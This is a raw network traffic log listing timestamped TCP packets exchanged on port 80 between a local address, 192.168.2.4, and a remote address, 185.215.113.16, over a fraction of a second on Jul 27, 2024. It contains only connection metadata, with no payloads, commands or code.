Jul 27, 2024 05:39:25.711378098 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711395979 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711427927 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711448908 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711448908 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711460114 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711472034 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711492062 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711524963 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711532116 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711532116 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711556911 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711589098 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711595058 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711595058 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711622000 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711627960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711656094 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711689949 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711711884 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711711884 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711724043 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711730003 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711755991 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711771965 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711788893 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711793900 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711821079 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711860895 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711863995 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711863995 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711894989 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711927891 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711934090 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711934090 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711976051 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712007999 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712018013 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712018013 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712037086 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712045908 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712069988 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712090969 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712105036 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712136030 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712143898 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712143898 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712184906 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712215900 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712250948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712258101 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712258101 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712258101 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712300062 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712307930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712332964 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712364912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712388992 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712388992 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712397099 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712430000 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712460995 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712498903 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712507010 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712507010 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712507963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712512016 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712544918 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712572098 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712604046 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712615967 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712615967 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712615967 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712635994 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712667942 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712699890 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712707996 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712707996 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712707996 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712733030 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712743998 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712764978 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712804079 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712804079 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712850094 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712850094 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.712922096 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712954044 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.712987900 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.713025093 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.713030100 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.713031054 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.713031054 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.713078022 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.713196993 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.800582886 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.800623894 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.800678015 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.800682068 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.800714970 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.800746918 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.800755024 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.800771952 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.800780058 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.800828934 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.800841093 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.800841093 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.800879002 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.800926924 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.800926924 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.800926924 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.800961018 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.800992012 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.800996065 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801039934 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801062107 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801062107 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801074028 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801121950 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801153898 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801163912 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801177979 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801206112 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801224947 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801234007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801286936 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801310062 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801310062 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801381111 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801390886 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801430941 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801462889 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801493883 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801536083 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801536083 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801543951 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801590919 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801604033 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801604033 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801640034 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801654100 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801671028 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801707029 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801795959 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801827908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801829100 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801829100 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801876068 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801908016 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801925898 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801925898 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801925898 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801935911 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.801976919 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801976919 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.801984072 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802032948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802064896 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802100897 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802105904 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802131891 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802134991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802166939 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802198887 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802205086 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802205086 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802221060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802229881 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802261114 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802273035 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802273989 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802293062 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802324057 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802356005 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802386999 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802412033 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802412033 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802412033 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802465916 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802498102 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802530050 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802542925 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802542925 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802542925 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802561045 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802592993 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802601099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802601099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802623987 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802650928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802673101 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802699089 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802723885 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802758932 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802788973 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802798986 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802798986 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802798986 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802822113 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802854061 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802885056 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802891016 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802891016 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802891016 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802917957 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802949905 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.802954912 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802988052 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.802999973 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803002119 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803047895 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803075075 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803106070 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803111076 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803127050 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803155899 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803198099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803203106 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803236008 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803256035 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803256035 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803267956 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803293943 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803317070 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803334951 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803365946 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803379059 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803400040 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803432941 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803451061 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803451061 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803472996 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803541899 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803555965 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803555965 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803591013 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803622961 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803659916 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803668022 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803673029 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803718090 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803725004 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803766966 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803797960 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803822041 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803822041 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803831100 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803863049 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803880930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803880930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803894043 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803924084 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803955078 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.803960085 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.803987026 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804018974 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804033995 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804033995 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804033995 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804049969 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804083109 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804115057 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804128885 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804128885 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804128885 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804147959 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804177999 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804209948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804224968 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804224968 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804224968 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804240942 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804259062 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804274082 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804305077 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804311991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804337978 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804368973 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804382086 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804382086 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804382086 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804400921 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804429054 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804431915 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804455042 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804464102 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804486036 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804523945 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804528952 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804579020 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804615021 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804629087 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804640055 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804672003 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804703951 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804737091 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804744959 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804744959 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804769993 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.804789066 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804789066 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.804896116 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856081963 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856120110 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856153011 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856184959 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856216908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856247902 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856250048 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856250048 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856250048 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856281996 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856285095 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856314898 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856347084 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856372118 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856372118 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856372118 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856379032 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856412888 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856442928 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856458902 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856458902 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856458902 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856476068 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856506109 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856529951 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.856529951 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.856627941 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893424988 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893490076 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.893513918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.893547058 CEST	80	49489	185.215.113.16	192.168.2.4
